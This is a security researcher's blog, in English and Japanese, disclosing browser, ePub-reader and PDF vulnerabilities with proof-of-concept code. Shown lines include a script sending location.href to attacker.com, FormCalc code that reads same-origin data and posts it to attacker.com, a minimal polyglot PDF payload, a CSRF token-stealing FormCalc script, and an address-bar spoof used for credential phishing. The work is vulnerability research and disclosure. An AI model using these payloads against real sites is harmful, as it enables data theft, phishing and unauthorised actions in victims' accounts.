2017年10月7日土曜日

PWA - Progressive Web Attack

Today, I'm going to blog about PWA (Progressive Web Apps)🙂

These days, web is getting bit secure by the help of CSP, which turns XSS into HTML injection (or really nothing). Even if we find XSS in modern web apps without CSP, sometimes we can't make interesting exploit with an XSS.

But what if there is a way to install an app with browser's native UI, by using just an HTML injection?

Progressive Web Apps
PWA is a web app which has responsive UI and offline capability (using Service Worker, Cache API, etc). And this means that it's very close to native app.

But wait, we could do this with Application Cache too right? Well, PWA is installable. With the use of Web App Manifest.

Progressive Web Attack
Web App Manifest is really special. It has ability to trigger PWA installation prompt with Browser's UI. Simply just with link tag, pointing to manifest file which can be served from cross-origin (with any MIME type) 😆 

Let see how we can abuse this feature!

Suppose Victim site has offline capability, and there is an XSS in webpage which is inside the scope of Service Worker. But Victim site uses a production-quality strict CSP.

Victim site

Vulnerable page.

And here is how to trigger installation prompt.

First, make sure to access main page so that Service Worker is registered. And then, If you access above url with Chrome on Android, you should see below.


Sorry, my phone is Japanese, but clicking on "Add" button will download contents and create home icon in your phone. If you open the app, you will see below page.


This page simply frames attacker page. Since start page of the app is controlled by Attacker's manifest and app only has navigation capability provided by attacker (no address bar and no back or forward button), user is totally controlled by attacker. And goodbye to Victim site, user will use the app from now on!

This is all done by just an HTML injection 😆


BTW, I feel that installation prompt provided by browser isn't very good. It only shows Domain when prompting user. So any website which allows uploading user contents to subdomain (such as Shopify) might be used for phishing attack.

Anyways, there are some limitation of this technique.
  1. Link tag which points to manifest needs to be inside head tag.
  2. start_url needs to be on same-origin as the Victim site's origin.
  3. Navigating top document to cross-origin site would trigger address bar to show up even inside an app.
Last but not least, I think manifest should only be accepted when served from same origin. Specification needs to be more carefully thought (and should be changed, hopefully).

To protect against this kind of attack, make sure to set CSP manifest-src to 'none' if you don't use PWA (and AppCache) or any appropriate source if you use it.

Hope you enjoyed it!

2017年5月16日火曜日

Is your ePub reader secure enough?

Hi, this is my first (and last?) blog post in English. Sorry if there's any grammatical mistake, I'm not too fluent in English.

Today, I'll write about ePub file with some of my findings in ePub readers.

So What's ePub file?
EPUB is an e-book file format with the extension .epub that can be downloaded and read on devices like smartphones, tablets, computers, or e-readers.
And in technical implementation
An EPUB file is a ZIP archive that contains, in effect, a website—including HTML files, images, CSS style sheets, and other assets. It also contains metadata. EPUB 3 is the latest version. By using HTML5, publications can contain video, audio, and interactivity, just like websites in web browsers.
https://en.wikipedia.org/wiki/EPUB


In short, ePub file is a Zip archive that contains a Book built with web technologies such as (X)HTML files, CSS style sheets, images like SVG, and if Reader supports, it could contain JS, PDF, Flash, and so on.

Specification of ePub is published by IDPF. And some interesting points in the Spec are:

  1. Javascript support is optional. Reader may or may not support Javascript.
  2. EPUB Publication can create security considerations that are different from scripting within a Web browser.
But Spec does not talk about what scheme or protocol should Reader use to load ePub contents. So each reader has their own way of implementing this with or without JS.

Well, Let's see what could go wrong.


iBooks
iBooks is an ePub reader developed by Apple. It uses Webkit for rendering ePub contents and it supports Javascript.

While I was testing iBooks, I noticed something.


First thing I noticed was that they use file scheme to serve ePub contents. And second thing I noticed was they doesn't allow external website to load inside iframe but they do allow external image to be loaded. So just doing following could leak victim's PC user name.

<img>
<script>
document.querySelector(“img”).src = “http:// attacker.com/sample.png?” + location.href;
</script>

And even worse, Victim's local file could be leaked. See @craig_arendt's blog post for more details. And I also recommend you to read how he hacked online services using ePub file.

Back to the story, I tried to redirect ePub content to external website using script like location.replace(). But iBooks did not allow redirect. Seeing that iBooks prevents external iframe as well as redirect to external website, I was sure if I could find a way to do so, they would most likely consider it as a vulnerability. So after a bit of kick and punch, I came up with redirect.

<script>
setTimeout('location.replace("https://attacker.com")');
</script>

But instead of opening external website in iBooks, it opened website with default browser😬 Anyways, I've reported this and it's now fixed.


Adobe Digital Editions
ADE is ePub reader developed by Adobe. ADE on Windows uses IE for rendering ePub contents. Wondering how I came to know that ADE uses IE on Windows? See this.


Hehehe😜 Anyways, I won't talk about ADE much because I don't want to say something that Adobe might consider as a vulnerability. So below are the key points.

  1. Javascript is supported.
  2. ePub content is served from localhost.
  3. It's IE! Flash, Adobe Reader, and ActiveXObject are supported. Off course, port is not considered to be part of SOP
What else do you need?


Edge ePub Reader
Microsoft Edge has built-in ePub Reader. Edge ePub reader is different from previous readers in 2 ways.
  1. Javascript is restricted.
  2. You can read web hosted ePub files without download.
Now let's see their implementation!

When you navigate to ePub file, it seems like it's just loaded as it is. But in the backend, it is redirected to ms-epub protocol like below.



"location.host" part of ms-epub URL is random string and it changes every time you load ePub file.

Now let's see how Edge restricts Javascript in ePub reader.


So Edge ePub reader (bookviewer.htm) loads user content inside iframe sandbox with "allow-same-origin allow-popups". Because "allow-scripts" is not added to sandbox attribute, user content loses ability to execute Javascript.

So is it impossible to execute Javascript? Let's dig more deeper. While testing with ePub files, I noticed that website opened from ePub file could execute Javascript. That's strange😕 "allow-popups" will allow popups but popups created by sandboxed content should have affect of sandbox too. So in this case, web site opened by sandboxed content should not have ability to execute Javascript. Anyways, it seems like Edge implemented "allow-popups-to-escape-sandbox" silently inside ePub reader (Note that Edge does not support "allow-popups-to-escape-sandbox" yet). And more interestingly, opened website has opener set to bookviewer.htm, the ePub reader! So to execute Javascript in the context of ePub reader, we need to create a link which has script capability as well as same origin with ePub reader. Well, this must be it!!

<a href=“javascript:opener.alert(opener.location)”>Go!</a>



Yes!!! Now let's see if we have other way to execute Javascript. How about framing ePub file? But doing something like "<iframe src='https://shhnjk.com/test.epub'>" would download ePub file instead of loading them. What if we frame with ms-epub protocol like below?

<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Assets/bookviewer.htm?url=https%3A%2F%2Fshhnjk.com%2Ftest.epub”>


Yes!!! Even though "location.host" part of ms-epub was random string, we could reuse previously used string to load ePub file again! So we will load user content which contains script and game over right?

<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Content/OEBPS/Text/chapter-1.xhtml”>


It seems like Edge can't load user content directly because Edge doesn't know where is this content served from. So let's teach Edge what we want her to load😀

<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Assets/bookviewer.htm?url=https://shhnjk.com/alert.epub”></iframe>
<script>
setTimeout(function(){
frames[0].location.replace(“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Content/OEBPS/Text/chapter-1.xhtml”)
},3000)
</script>

<!-- code in chapter-1.xhtml -->
<script>alert(location)</script>

First, we will load ePub file with bookviewer.htm so that Edge would know user content inside that ePub file. And then we will redirect frame to user content itself which contains Javascript. But as it's our iframe hosted on our website, there's no sandbox😎


Okay. We understood that we've bypassed the restriction 2 times and executed Javascript in the context of ePub reader. But how can we exploit this vulnerability? Well, I guess everyone noticed the url parameter in bookviewer.htm. It seems like whatever specified in url parameter is displayed in the address bar. So let's use this thought with first bypass.

<a href=“javascript:opener.location.search='?url=https://www.google.com';
opener.document.write('&lt;title&gt;Google&lt;/title&gt;This is Google.com'); window.close()”>Go</a>


Okay, this worked as expected! Further testing on url parameter, I noticed that we could actually load any cross origin ePub file using url parameter. And even if we change url parameter, origin of ePub reader remains same, so we have full access to content of cross origin ePub files!!

<!-- from attacker.com/evil.epub -->
<a href=“javascript:opener.location.search=‘?url=https://shhnjk.com/test.epub';setInterval(function(){alert(opener.frames[0].document.body.innerHTML)},1000)”>Go</a>


So we could abuse ePub reader JS execution to spoof address bar and also to steel information from cross origin ePub file.

The vulnerable version of ePub reader was only available to Windows Insiders for 3 months and after I reported this to MSRC, they've fundamentally fixed the ePub reader issues. So ePub reader release with Creators Update has some mitigations.

  1. Protocol has changed to ms-local-stream which is not framable (AFAIK)
  2. "location.host" part is no more reusable (same "location.host" on different frame or window wouldn't work anymore)
  3. url parameter has been removed (attacker needs to find new way to exploit even if they have JS execution on ePub reader)
This was great work from MSRC and EdgeDev in just 3 months! Thanks and awaiting for bounty💰😬


Sorry for the long post and thank you for reading!! Hope you enjoyed😁

Jun

2016年12月20日火曜日

iframe sandboxの真実

脆弱性"&'<<>\ Advent Calendar 2016」20日目の記事です。

今回はiframe sandboxの仕様から漏れた脆弱性とは言えないものの話です。

1. ダウンロード

iframe sandboxでdownloadを防ぐことは出来ません。

PoC
https://vuln.shhnjk.com/sandbox.php?url=/download.php

2. カスタムプロトコル
iframe sandboxでカスタムプロトコルの使用を防ぐことは出来ません。先日Edgeのiframe sandbox bypassとして公開された手法も確認画面が出ないこと以外はこの仕様の問題で、Windows 10のChromeでもmicrosoft-edge:を使うことが出来ます(確認画面は出ますが)。

PoC
https://vuln.shhnjk.com/sandbox.php?url=/custom.html

iOSではまた別の挙動があったりと、確認画面が出る出ないも良く分からない状態です。

3. History
iframe sandboxではallow-top-navigationが指定されていない限り親Windowのリダイレクトは出来ないはずですが、allow-scriptsが指定されていた場合Historyを使うことで親Windowの履歴を操作することが出来ます。

PoC
https://vuln.shhnjk.com/sandbox.php?url=/history.html&s=allow-scripts

しかしhistory.pushStateは同一オリジンでないと実行出来ず、iframe sandboxはオリジンがnullなので、親Windowを任意のサイトにリダイレクトすることは出来ないと思います。


ということで、iframe sandboxを使う際は何をサンドボックス化してくれるのか確かめてから利用しましょう。

ではでは。(脆弱性"&'<<>\ Advent Calendar 2016誰か書いて下さい!)

2016年12月9日金曜日

Edgeのアドレスバー偽装

脆弱性"&'<<>\ Advent Calendar 2016」9日目の記事です。

追記
-------------------------------------------------------------
MSRCからミスだったとのメールがありました。
無事ケースが作られ、脆弱性として対応して
貰えることになりました。
-------------------------------------------------------------


先日MicrosoftにEdgeのアドレスバー偽装のバグを報告したところ、脆弱性ではないと言われたので公開します。

以下が再現コードです。ただ単に長いURLにリダイレクトしてあげればいいだけ。

<a href="#" onclick="window.w=window.open('https://www.google.com');go()">go</a>
<script>
function go(){
setTimeout(function(){w.location.replace("https://shhnjk.com/#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")},3000);}

</script>

PoC
https://shhnjk.com/w.html

脆弱性ではないとのことなので、どんなことができるのかやってみました。


FacebookのポストをクリックするとFacebookのログアウトCSRFを使ってFacebookがログアウトされ、さらにOpenerと今回のアドレスバー偽装を使って攻撃者のサイトにあるFakebookのログイン画面にリダイレクトされます。そこでメールアドレスとパスワードが入力されれば、それを盗んで正規のFacebookログイン画面に飛ばして終了です。

これ以外にもEdgeのアドレスバー偽装は公開されています。

http://www.cracking.com.ar/demos/edgespoof/2/

ChromeやFirefoxでは報奨金が貰える脆弱性なのですが、Microsoftは脆弱性とは認めないとのことなので、EdgeやIEのアドレスバーはお飾りぐらいに思っておいた方がいいのかもしれません。



ではでは。

2016年12月8日木曜日

セキュリティ製品のお話

脆弱性"&'<<>\ Advent Calendar 2016」8日目の記事です。

「このまま黙って見てればキヌガワさんの隠しテクバンバン公開されるんじゃね?」と思ってしまったあなた、今すぐ脆弱性"&'<<>\ Advent Calendar 2016に登録して何か書きましょう。


さて、自社で取り扱っている製品をセキュアにしようという口実でサイボウズ脆弱性報奨金制度に参加していますが、「貴様金目当てだろ」と言われないよう他の製品も見てみました。

まずFireEyeのETPを見てみたところ、隔離されたメールを表示するページの検索機能でSelf-XSSを発見しました。





報告したところ、管理者のみ?見れるAPTページにも同様のXSSがあり、何故か優先度Highで修正されました。



次にトレンドマイクロのWorry-Free Business Securityという製品でXSSを見つけました。

https://wfbs-svc.trendmicro.com/wfbs-svc/intl/en/view/lockout_page?date=%3Cscript%3Ealert(document.domain)%3C/script%3E



修正後見に行ったところ、DuckDuckGoみたいにタグがあったら消す修正方法だったので、不完全なタグを入れることで再度XSS出来ました。ちなみに管理者に踏ませると企業内の各PCのPC名、ローカルIP、パターンファイル情報などが抜き取れました。


最近ではGoogleのProject Zeroにより、アンチウィルスなどのセキュリティ製品が実は危ないということが分かってきました。以下は主要アンチウィルスの脆弱性を次々に見つけたTavisさんのツイート。

「どのアンチウィルスを使えばいいか良く聞かれるが、アンチウィルスは問題を解決する以上に生み出すよ」

またKasperskyが独自のセキュアなOSを開発したニュースについてProject Zeroのメンバーから「そのOSにアイツらの糞みたいなアンチウィルスじゃなくてWindows Defender入れられるの?」という質問も飛び出しています。

この問題の証明として、Tavisさんはアンチウィルスのゼロデイが実際に買われているとツイートしています。


アンチウィルスは権限が高いにも関わらず、設計や開発がボロボロらしいです。ということで、標的型攻撃の際はアンチウィルスが守ってくれるのではなく攻撃に使われることを想定しましょう。また日本でアンチウィルスを入れるべきか否かなどの議論がおきてくれると有り難いです。

ではでは。

2016年12月3日土曜日

CyVDB-1118関連

脆弱性"&'<<>\ Advent Calendar 2016」3日目の記事です。

今回はCyVDB-1118関連の話です。CyVDB-1118はアップロード型のRFDで、会社のプロファイル画像にScriptタグが入った画像をアップロードし、その画像の拡張子を.htaに変えたリンクを作成することで、htaファイルがダウンロードされるというものです。


これと同じ脆弱性がログインページの背景画像にもありました。ログインページはログインしていなくてもアクセス出来る為、この脆弱性を使って悪意のあるファイルを別のサブドメインやサイボウズを使っていない人にもばら撒くことが出来ました。例えば以下のようにサイボウズのdownloadというサブドメインを取得してログイン画像のURLをばら撒くだけ(現在は修正されている為、画像がダウンロードされます。)。

https://download.cybozu.com/api/screen/loginBackground.do/-/CybozuDesktop_Update.hta

さて、先日ImageGateという画像に見せかけたランサムウェアをSNSなどで拡散し感染させる手法の一部が公開されました。



これと似たバグをサイボウズのキントーンでも見つけました。


動画を見ると分かりますが、メッセージ内の画像をダウンロードして開くと電卓が起動しています。再現方法は、まずキントーンのメッセージで以下のファイルをアップロードします。

https://shhnjk.com/hta.png

アップロードの際、プロキシなどで画像の拡張子をpngからhtaに変えます。するとContent-Typeはimage/pngな為、画像のプレビューが作動します。しかし、ダウンロードするとhtaとしてダウンロードされるので、電卓が起動します。FirefoxのみContent-typeをContent-Dispositionのファイル名より優先するので再現しませんが、それ以外のブラウザでは再現します。残念ながらキントーンのメッセージではhtaファイルをアップロードすること自体は禁止されていない為、このバグは脆弱性として認定されませんでした。

ということで、画像をダウンロードしたら開く前に拡張子を確認しましょう。

ではでは。

2016年10月29日土曜日

PDF特殊機能(FormCalc編)

前回に続きPDFの特殊機能を説明します!今回はFormCalcというスクリプト言語の説明です。

PDFを使ってフォームが作れるのはご存知かと思いますが、このフォームを作る為にPDFのバージョン1.2からAcroformsが追加され、バージョン1.5からXFA(XML Forms Architecture)が追加されました。フォームでの動的な処理の為、XFAではFormCalcという演算言語が標準言語として使われています。簡単に言うとHTMLで<script>と書いた場合Javascriptとして実行されますが、XFAで<script>と書いた場合FormCalcで実行されるということです。

FormCalcの最新版(?)参考資料は以下です。
http://help.adobe.com/ja_JP/livecycle/9.0/FormCalc.pdf

ちなみに、ブラウザに搭載されているPDF ViewerなどはFormCalcをサポートしていない為、FormCalcが使えるのはAcrobat Readerを使ってPDFを閲覧しようとした場合(標準設定ではIEのみ)になります。

さて、2014年にCure53のAlexander氏によりFormCalcのURL関数を使ったクロスオリジンのデータが取得可能であった脆弱性が修正されたことが公開さ れ、その中で同一オリジンへのデータ取得はバグではない為修正がされない ことも言及されました。

http://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html
http://insert-script.blogspot.com/2015/05/pdf-mess-with-web.html

FormCalc参考資料によるとFormCalcのURL関数には3つの種類があります。Get、Post、Putです。その名の通りPDFと同一のオリジンにGet、Post、Putのリクエストをすることができます。

Getの例
Get("https://SameOrigin.withPDF.com/")

Postの例
Post("https://SameOrigin.withPDF.com/","contents here","application/json","utf-8","Custom: header-here")

Putの例
Put("https://SameOrigin.withPDF.com/", "contents here","utf-8")

参考資料に詳しい説明が載っていますが、パラメータが一番多いPostの説明をすると以下の様になります。

Param 1: ポストするサイトのURL
Param 2: ポストするコンテンツ(Request body)
Param 3: 有効な任意のMIMEタイプ
Param 4: 有効な 任意の文字エンコード
Param 5: 任意のヘッダー(Request header)

3、4、5はオプションです。Alexander氏のスライドを見ると分かるよう、昔はユーザエージェント以外の任意のヘッダーが遅れたようですが、今ではクッキーやホストヘッダーなどが送れなくなっています。しかしサイト独自のヘッダーなどは今でも送れます。

説明が長くなってしまいましたが、Alexander氏の発表から、サイトにPDFファイルをアップロード出来る機能があり、PDFが保存されるオリジンに機密情報がある場合、以下の様にその情報を抜き出すことが出 来ます。

var content = GET("https://SameOrigin.withPDF.com/user_info.php");
Post("http://attacker.com",content);

PoC
https://shhnjk.com/post.pdf(IEでアクセスして下さい)

ブラウザでPDFを開いただけでクロスオリジンに情報が漏洩するという素晴らしい機能です(笑)上記のPoCではhttps://shhnjk.com/xss.txtにGetでアクセスし、そのレスポンスをPostを使って攻撃者のサイトに送っています。クロスオリジンのサイトにPostする場合、普通はエラーになってしまいますが、以下の様なcrossdomain.xmlを設定すればエラーなくPostを受け取れます(一番脆弱なcrossdomain.xmlなので普通のサイトでは設定しないで下さい)。

http://szabist.web.fc2.com/crossdomain.xml


翌年2015年にSoroush氏によりFormCalcとJavascriptを使って、埋め込まれたPDFからGetした情報を別オリジンと共有する手法が公開されました。

https://github.com/nccgroup/CrossSiteContentHijacking

この手法の素晴らしいところは以下のPDF自体に修正を加える必要ない点です。

https://15.rs/ContentHijacking/objects/ContentHijacking.pdf

以下のPoCサイトにPDFのURLと読み取りたい同一オリジンのページを指定してあげるだけでいいのです。

https://15.rs/ContentHijacking/ContentHijackingLoader.html?objfile=https://shhnjk.com/ContentHijacking.pdf&objtype=pdf&target=https://shhnjk.com/xss.txt&isauto=1

IEで開くとhttps://shhnjk.com/xss.txtのコンテンツである<script>alert(document.domain)</script>が表示されるかと思います。さて、読み込むPDFにX-Frame-Optionsが指定されてたら攻撃者のサイトに埋め込んでもダメじゃんと思った方もいるのではないでしょうか。ご心配なく!objectやembedタグ内にtype="application/pdf"と記載することでPDFがホストされているサイトのX-Frame-OptionsやContent-Dispositionは無視されます(笑)


まだまだ続きます。更に翌年2016年にKrzysztof氏とG´abor氏により、各ブラウザでAcrobat Readerを使いPDFを表示する設定にされている場合の脅威に関する研究結果が発表されました。

https://www.alchemistowl.org/pocorgtfo/pocorgtfo12.pdf(Content Sniffing with Comma Chameleon)

上記のPDFはPolyglotで拡張子をZipに変えるとPoCファイルが出てきます(APKファイルにもなるらしい)。素晴らしいペーパーなので是非読んで頂きたいですが、要約したまとめが以下です。

IE: 分かっている通り標準設定でAcrobat Readerが使われ、FormCalcも使える。
Chromium: Acrobat ReaderなどのNPAPIをサポートしていない為、攻撃不可能。
Firefox: Acrobat Readerを使う設定にするとFormCalcは使えるが、使う度に有効にするというボタンを押さなければいけない為、現実的ではない。
Safari: Acrobat Readerを使う設定にするとAcrobat Readerが確認なしで使えてFormCalcも使える。

更にIEとSafariにMIMEタイプがapplication/pdfでないPDFをtype="application/pdf"として埋め込んだところ、SafariはそれでもFormCalcが使えて、IEは使えなかったとのことです。IEでFormCalcが使えかった理由はMIMEタイプが正しくない場合、そのPDFをFileオリジンでロードする為、どんなサイトのPDFでもクロスオリジンとみなされるからです(前編で紹介したやつです)。

この研究では更に、FormCalcのコードをクロスオリジンから送れる最小限のPDFを作成しています。

%PDF-Q 1 0 obj<</Length 1>>stream
<xdp xmlns="http://ns.adobe.com/xdp/"><config><present><pdf><interactive>1</interactive></pdf></present ></config><template><subform name="s"><pageSet/><event activity="exit"><script>r=Eval(P)</script></event></subform></template></xdp> endstream endobj xref 0 2 0000000000 65535 f 0000000007 00000 n trailer<</Root<</AcroForm<</XFA 1 0 R>>/Pages<<>>/OpenAction<</S/JavaScript/JS(hostContainer.messageHandler={onDisclose:Date,onMessag e:function(a){eval(a[0])}})>>>>>> startxref 286 %%EOF

これにより、JSONやCSVファイルなどに上記コードを入れられた場合、そのファイルをPDFとして埋め込むことでPDFがアップロード出来ないサイトにも影響が及ぶようになります。

ここまでがPDFWebSecの軽いまとめです(笑)ここまで読んで頂いた方はあと少しですので頑張って下さいw

さて僕がまず考えたことは、SafariでAcrobat Readerを使う設定にしていない場合でも攻撃できないかという所です。ここで目を付けたのがFDFです。SafariではPDFやFDFのオン/オフ設定が一緒な為、前回説明した通りFDFを許可したサイトではPDFもAcrobat Readerで表示されるようになります。そこに前回紹介したiframeを使って信頼されているドメインから許可を貰えばOK。なはずだった…

Comma Chameleonが発表された後、SafariはPDF関連の機能をよりセキュアしました。まずプラグインの設定からAdobe Readerがオンになってない場合(標準設定では確認)はクリックしないとAcrobat Readerが有効化されないようになりました。こちらはstyle="visibility:hidden;"で以前の確認アラートに戻せることも紹介しました。しかし更に、SafariでFormCalcのURL関数を使ってもクッキーを送ってくれなくなりました(泣)再現の為に以下のページを用意しました。

https://shhnjk.com/CookieOrKitKat.php

こちらはクッキーを持っていればクッキー、持っていなければキットカットと返してくれるページです。クッキーを設定するには以下のページでボタンを押します。

https://shhnjk.com/Cookie.php

ボタンをしてから最初のページに行くとクッキーが帰ってくれば OK。SafariでAdobe Readerをオンにした状態で以下を開きます。

https://shhnjk.com/calc.pdf

こちらはCookieOrKitKat.phpのコンテンツにFormCalcでアクセスし結果をアラートしてくれるPDFです。Safariではクッキーを設定してもPDFを開くとキットカットが返ってくると思います。しかしIEで試すとちゃんとクッキーが返ってきます。その為、SafariでFormCalcを使おうとしても、出来ることはお問い合わせのCSRFバイパスぐらいでしょう。

ではMIMEタイプが正しくないPDFの攻撃は完全に死んだのでしょうか。標準設定では現時点で攻撃する方法はないでしょう。しかし、PDFをAcrobatで表示する設定にしている場合、まだ1つだけ方法があります。Firefoxです。FirefoxでもAcrobat Readerを有効化するにはクリックが必要ですが、こちらもSafari同様style="visibility:hidden;"で有効にしますかのアラートに変わり、iframeを使って別のオリジンの信頼で有効化することが出来ます。

PoC
http://shhnjktest.blogspot.com/2016/10/calc-embed-test.html

Windows版のFirefoxでPDFをAcrobatプラグインで開く設定にした状態でアクセスしてみて下さい。calc.txtを埋め込んでいますが、無事PDFとして読み込み更に攻撃者サイトのオリジンではなく、トップドキュメントのオリジンで許可が聞かれていると思います。Cookie.phpからクッキーを設定するとクッキーというレスポンスが返ってくるかと思います。実際のサイトのiframe内でどのように任意のコンテンツを表示するかですが、まずは前回言ったように広告が使えます。広告を表示しているサイトはiframeサンドボックスを使うと拡張やプラグインが実行されないので良いでしょう。広告がないサイトの場合はリンク作成機能などを見ましょう。リンクのターゲットが任意に指定できる場合はこれが使えます。

PoC
https://shhnjktest.blogspot.com/2015/11/test.html

これは以前紹介したBloggerがコメント投稿にiframeを使っていることを利用し、リンクでコメント投稿のiframeをターゲットにしています。ちなみに、リンクと同一オリジンであればどんなページのiframeでもターゲットに出来ます。

ここで残念なお知らせがあります。Firefoxは2017年の3月からNPAPIをサポートしなくなります。その為、Acrobat ReaderがFirefoxで使えなくなり、今回の攻撃が出来なくなるでしょう。やはりMIMEタイプが正しくないPDFの攻撃は死にゆくのでしょうか。いや、まだ希望があります。IEでMIMEタイプが正しくないPDFの攻撃が出来ないのは、そのPDFをFileオリジンからロードする為です。しかし、リモートのPDFがFileオリジンでロードされることによる脆弱性をIEに報告済みで、2017年のバレンタインデーに修正がリリースされる予定です。ここで間違った修正がリリースされた場合、IEでこの攻撃が可能になってきます。果たしてMSがチョコを渡すのはユーザか、それとも攻撃者か。楽しみですね!

それでh、、、、ちょっと待った。
なんかモヤモヤしませんか?攻撃者は情報をクロスオリジンに送ることだけが目的なのか。いや、我々は改ざんしたい!(笑)
クロスオリジンに情報を送り、その情報からCSRFトークンを抜き出し、攻撃者サイトのフォームに入れて、そこにリダイレクトすればいいのかもしれませんが、面倒くさいし、攻撃者のサイトにリダイレクトしたら攻撃がバレてしまう。
少し初心に戻ってみます。2014年に公開された攻撃の時点で、

var content = GET("https://SameOrigin.withPDF.com/user_info.php");
//content←ここにCSRFトークンも入ってるはず。
Post("http://attacker.com",content);

つまりレスポンスの情報からPDF内でCSRFトークンを抜き出せれば、同一オリジンからそのCSRFトークンを使って攻撃できるということです。FormCalcには色んな関数があるので、その中の文字列関数を使ってみます。
以下にコメントページがあります。

https://shhnjk.com/add_comment.php

クッキーがないと見れないので、先ほどのCookie.phpに行きクッキーを貰います。コメントページにはCSRFトークンがあり(今回はabcdで固定)、投稿されたコメントはcomments.phpに反映されます。このコメント動作をPDFだけを使ってやってみます。

PoC
https://shhnjk.com/CSRF.pdf

以下がスクリプトです。

var content = Get("https://shhnjk.com/add_comment.php");
var csrf = Substr(content, At(content,"token")+13, 4);
var data = Stuff("token&#x3d;&#x26;comment&#x3d;hacked", 7, 0, csrf);
Post("https://shhnjk.com/comment.php",data,"application/x-www-form-urlencoded","utf-8");

まずGetしたレスポンスからSubstr関数を使ってCSRFトークン(abcd)を抜きます。抜き出す為のトークンスタート位置はAt関数を使って、tokenというキーワードの位置+13(今回の場合のtokenからCSRFトークンのスタート位置までの文字数)で割り出しています。トークンをゲットしたら、Stuff関数で事前に作っておいたリクエストの中にトークンを入れる。その後Postを使ってコメントを送れば終了。PDFを見たユーザの権限でコメントするPoCです。サイトによってはリクエストボディではなくリクエストヘッダー内にCSRFトークンを入れるようなサイトもあるみたいですが、CSRFトークンがレスポンスボディ内にあれば、任意のヘッダーが指定できるため、そのようなサイトでも影響を受けます。

